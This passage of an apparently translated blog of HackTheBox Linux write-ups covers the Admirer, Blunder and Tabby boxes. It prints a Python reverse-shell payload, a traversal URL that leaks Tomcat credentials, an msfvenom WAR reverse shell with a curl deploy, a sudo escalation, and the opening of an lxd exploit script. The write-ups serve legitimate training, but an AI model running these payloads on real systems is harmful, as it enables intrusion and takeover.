smoothly.&lt;/p&gt;&#10;&lt;p&gt;I started mysql on kali. These are the posts I used as references:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/dll102/p/16008382.html" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/dll102/p/16008382.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/lxyoucan/article/details/131282508" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/lxyoucan/article/details/131282508&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After completing those steps, the remote server could connect. This was the most important part.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0531.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0532.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That let me get in. I then followed the post below to exploit the arbitrary file-read vulnerability.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://podalirius.net/en/cves/2021-43008/" target="_blank" rel="noopener"&#10; &gt;https://podalirius.net/en/cves/2021-43008/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;One detail matters here: files such as /etc/passwd could not be read. I later guessed the /var/www/html directory and could read its contents, but utility-scripts/db_admin.php did not exist, so I could not extract database passwords or similar information. Eventually I discovered that /var/www/html/index.php still contained a password.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0533.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The connection had failed because the password was different.&lt;/p&gt;&#10;&lt;p&gt;I actually tried many things at this stage, including reading passwd and waldo&amp;rsquo;s private key, but none helped. Only then did I find this.&lt;/p&gt;&#10;&lt;p&gt;The password worked for ssh, giving me a foothold. Once connected, I had a password, so my first command was sudo -l.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0534.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was something useful. Here was my reasoning.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0535.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I did not have permission to modify it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0536.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;All the parameters explicitly named their files, so changing environment variables could not bypass anything. Even /usr/bin/mysqldump lacked write permission.&lt;/p&gt;&#10;&lt;p&gt;That made backup.py very suspicious.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0537.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I only had read permission.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0538.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The path was now fairly obvious: create a fake shutil.py file. The program would import shutil.py automatically when it started, and top-level code in that module would run as well, so I only needed to add a shell.&lt;/p&gt;&#10;&lt;p&gt;The plan was therefore to hijack a python library. There are two extremely common methods. The first is to place shutil.py beside backup.py, since it will prefer the library in the current directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0539.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But I did not have write permission there.&lt;/p&gt;&#10;&lt;p&gt;The second is to modify shutil.py in the installed library directly, but I did not have permission for that either.&lt;/p&gt;&#10;&lt;p&gt;Neither worked. After searching google, I found two more approaches. One was to add an environment variable in the current terminal.&lt;/p&gt;&#10;&lt;p&gt;export PYTHONPATH=/tmp/&#10;But that still did not work for me.&lt;/p&gt;&#10;&lt;p&gt;The second was to pass the environment variable through sudo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0540.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;echo &amp;lsquo;import socket,subprocess,os\ndef make_archive(a,b,c):\n\ts=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n\ts.connect((&amp;ldquo;10.10.16.21&amp;rdquo;,9999))\n\tos.dup2(s.fileno(),0)\n\tos.dup2(s.fileno(),1)\n\tos.dup2(s.fileno(),2)\n\timport pty\n\tpty.spawn(&amp;ldquo;sh&amp;rdquo;)&amp;rsquo; &amp;gt; shutil.py&lt;/p&gt;&#10;&lt;p&gt;Writing the file this way did not preserve the escapes, so I transferred it from kali instead. Then I only needed to construct the final command.&lt;/p&gt;&#10;&lt;p&gt;wget &lt;a class="link" href="http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.21:33333/Admirer/utility-scripts/shutil.py;chmod&lt;/a&gt; 600 shutil.py;sudo PYTHONPATH=/home/waldo /opt/scripts/admin_tasks.sh 6&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0541.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was the end.&lt;/p&gt;&#10;&lt;p&gt;In my view, this box fits oscp very well. Precisely because it does, many parts were unusually complex.&lt;/p&gt;&#10;&lt;p&gt;First, I never thought of looking for adminer.php. Second, I could not find anything about this Adminer behavior. The first tested my methodology, while the second tested my search skills—essentially my ability to choose effective Google search terms.&lt;/p&gt;&#10;&lt;p&gt;Then came privilege escalation. That part was comparatively simple, but I wasted a lot of time on the python import behavior. The first three methods never worked. I finally learned that placing an environment variable after sudo passes it directly to the command following sudo. Simply running export PYTHONPATH=/home/waldo left the later command unable to see it. sudo -E might also have carried the variable across, but in practice it did not. I wasted a lot of time here too.&lt;/p&gt;&#10;&lt;h2 id="24blunder"&gt;&lt;a href="#24blunder" class="header-anchor"&gt;&lt;/a&gt;24.Blunder&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0542.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0543.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0544.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll jump straight to the result. The initial reconnaissance may have involved a port-knocking sequence to open a port, so I made a note of that and moved on. The website&amp;rsquo;s information revealed the framework.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0545.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0546.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;BLUDIT v3.9.2&lt;/p&gt;&#10;&lt;p&gt;I could simply find an exp and run it. Searching kali for exploits matching this version only returned a user-brute-forcing script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0547.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The username had been revealed as well.&lt;/p&gt;&#10;&lt;p&gt;Everything pointed toward brute force: I had a username and a version number, and this user-brute-forcing script only applied to version 3.9.2 and earlier.&lt;/p&gt;&#10;&lt;p&gt;I used cewl to crawl the home page and generate a wordlist.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0548.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I just ran the script.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0549.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I now had credentials, but kali did not include an rce script. I found a suitable script through google.&lt;/p&gt;&#10;&lt;p&gt;Introduction: &lt;a class="link" href="https://www.anquanke.com/post/id/197105" target="_blank" rel="noopener"&#10; &gt;https://www.anquanke.com/post/id/197105&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Script: &lt;a class="link" href="https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/ynots0ups/CVE-2019-16113/blob/master/cve-2019-16113.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It could be used directly, although it might need a small change to avoid a problem.&lt;/p&gt;&#10;&lt;p&gt;The main problem was here. The error message led me to the cause.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0550.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The URL must not end in /, or it errors out.&lt;/p&gt;&#10;&lt;p&gt;I obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0551.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation by checking the configuration files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0552.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found a pile of db.php files, but they contained nothing. I then reached user.php under databases, which held usernames and passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0553.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first password was salted. The account was admin, and john could brute-force it.&lt;/p&gt;&#10;&lt;p&gt;But the second one, from version 3.10, had a user named hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0554.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There also happened to be a hugo home directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0555.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;hugo:Password120&#9;&#9;I could simply run su hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0556.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0557.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That switched me directly to shaun.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0558.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;LinEnum provided an exploitation lead. I had actually noticed this while running as www-data: the user belonged to an unusually large number of groups, so it was worth looking for group-accessible programs that might be exploitable.&lt;/p&gt;&#10;&lt;p&gt;However, there were no exploitable executables for those groups. I kept looking for a path forward but could not find one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0559.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I had found the version and tried exploiting vulnerabilities that affected it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0560.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Eventually I found this: &lt;a class="link" href="https://www.exploit-db.com/exploits/47502" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/47502&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Coincidentally, its exploitation requirements exactly matched what sudo -l showed for hugo.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0561.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running sudo -u#-1 /bin/bash successfully escalated privileges.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0562.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This box was relatively simple. I did not encounter any new services, programs, or similar components.&lt;/p&gt;&#10;&lt;p&gt;It was a conventional box where the main requirement was methodology. I can only keep refining that methodology: every program may have vulnerabilities and needs to be checked individually.&lt;/p&gt;&#10;&lt;h2 id="25tabby"&gt;&lt;a href="#25tabby" class="header-anchor"&gt;&lt;/a&gt;25.Tabby&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0563.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no udp service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0564.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I will give the conclusion directly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0565.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was an arbitrary file read. PHP wrappers did not seem to work, so I could not read the source of index.php or news.php.&lt;/p&gt;&#10;&lt;p&gt;I found nothing else afterward. The web root was still /var/www/html/index.php.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0566.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;At this point the path was obvious: find tomcat-users.xml and log in with it.&lt;/p&gt;&#10;&lt;p&gt;I tried many directories without success and gathered many wordlists. Only at the end did I find this path.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379" target="_blank" rel="noopener"&#10; &gt;https://talk.openmrs.org/t/configuring-apache-tomcat-9/32379&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This Q&amp;amp;A mentioned usr/share/tomcat9/etc/tomcat-users.xml.&lt;/p&gt;&#10;&lt;p&gt;After collecting this information, I sent the request to Burp Suite and eventually got the result. One thing worth noting is that the XML will not render in the HTML page; you have to press F12 and inspect the source.&lt;/p&gt;&#10;&lt;p&gt;view-source:&lt;a class="link" href="http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb/news.php?file=../../../../../../../../../usr/share/tomcat9/etc/tomcat-users.xml&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;admin-gui&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;role rolename=&amp;#34;manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;user username=&amp;#34;tomcat&amp;#34; password=&amp;#34;$3cureP4s5w0rd123!&amp;#34; roles=&amp;#34;admin-gui,manager-script&amp;#34;/&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I could not log in to manage, only to &lt;a class="link" href="http://megahosting.htb:8080/host-manager/html" target="_blank" rel="noopener"&#10; &gt;http://megahosting.htb:8080/host-manager/html&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0567.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1578239" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1578239&lt;/a&gt;&#10;&lt;a class="link" href="https://blog.csdn.net/weixin_41924764/article/details/108196725" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/weixin_41924764/article/details/108196725&lt;/a&gt;&#10;These two posts were excellent and addressed this exact situation.&lt;/p&gt;&#10;&lt;p&gt;However, I tried a great many times and consulted several posts. It appeared that I had to define my domain on this site before I could use it; otherwise it would not work.&#10;I had to find another method. Searching by the role name led me to two tutorials.&lt;/p&gt;&#10;&lt;p&gt;I searched google for Apache Tomcat manager-script exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@nginx0/backtrack-2-5-thm-writeup-cb4eddb8b18c&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00" target="_blank" rel="noopener"&#10; &gt;https://medium.com/@cyb0rgs/exploiting-apache-tomcat-manager-script-role-974e4307cd00&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Both described the same vulnerability. I had assumed the war file could be built in the same way as one uploaded through the tomcat manager page, so I kept trying my own packages. Both tutorials instead used msfvenom to generate a war backdoor. Generally, oscp allows msf once, but the msfvenon used to generate a backdoor is not limited because it only generates the backdoor; only msfconsole is limited to one use.&lt;/p&gt;&#10;&lt;p&gt;The files I built myself never worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p java/shell_reverse_tcp LHOST=10.10.16.19 LPORT=9999 -f war -o pwn.war&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -v -u &amp;#39;tomcat:$3cureP4s5w0rd123!&amp;#39; --upload-file pwn.war &amp;#34;http://megahosting.htb:8080/manager/text/deploy?path=/foo&amp;amp;update=true&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://megahosting.htb:8080/foo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 9999&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That immediately returned a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0568.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I prepared for privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;sudo -l, s, and suid all revealed nothing.&lt;/p&gt;&#10;&lt;p&gt;My first step was to inspect the www directory. new.php only provided arbitrary file read, not file inclusion.&lt;/p&gt;&#10;&lt;p&gt;But the file directory was owned by ash.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0569.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0570.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I transferred it to kali with nc and extracted it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0571.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It required a password. The recovered password was admin@it.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time examining the extracted files afterward, but found nothing. The only possible angle, as I understood it, was that the fgets function might allow file inclusion, but that was actually impossible.&lt;/p&gt;&#10;&lt;p&gt;I later wondered whether it might be ash&amp;rsquo;s password. I tried su, and it really was.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0572.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I continued with privilege escalation. I tried many things; sudo was unavailable, and pspy32 showed this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0573.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That was not useful either. Then I wondered whether the site on port 80 ran as root. If I wrote a php file into the files directory owned by ash,&lt;/p&gt;&#10;&lt;p&gt;could I escalate directly to root? In practice, files was not writable. Even chmod +w failed; its permissions were locked to read-only.&lt;/p&gt;&#10;&lt;p&gt;I also checked the sudo version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0574.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;For each of these groups, I used find to look for executables or other files belonging to the group.&lt;/p&gt;&#10;&lt;p&gt;There were none. Finally, I uploaded LinEnum.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0575.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It mentioned this. I did not know what lxd was, so I searched for it.&lt;/p&gt;&#10;&lt;p&gt;I found many exploits. The posts explained that membership in the lxd or lxc group could be used to become root.&lt;/p&gt;&#10;&lt;p&gt;kali also had a payload for it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0576.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried following this payload, but it kept failing. Eventually, the first article in my google results solved it.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;After uploading it, execution kept failing. First I had to edit the exp because it did not define paths for lxc and lxd.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/usr/bin/env bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Authors: Marcelo Vazquez (S4vitar)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#&#9; Victor Lasa (vowkin)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# ----------------------------------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: Download build-alpine =&amp;gt; wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker 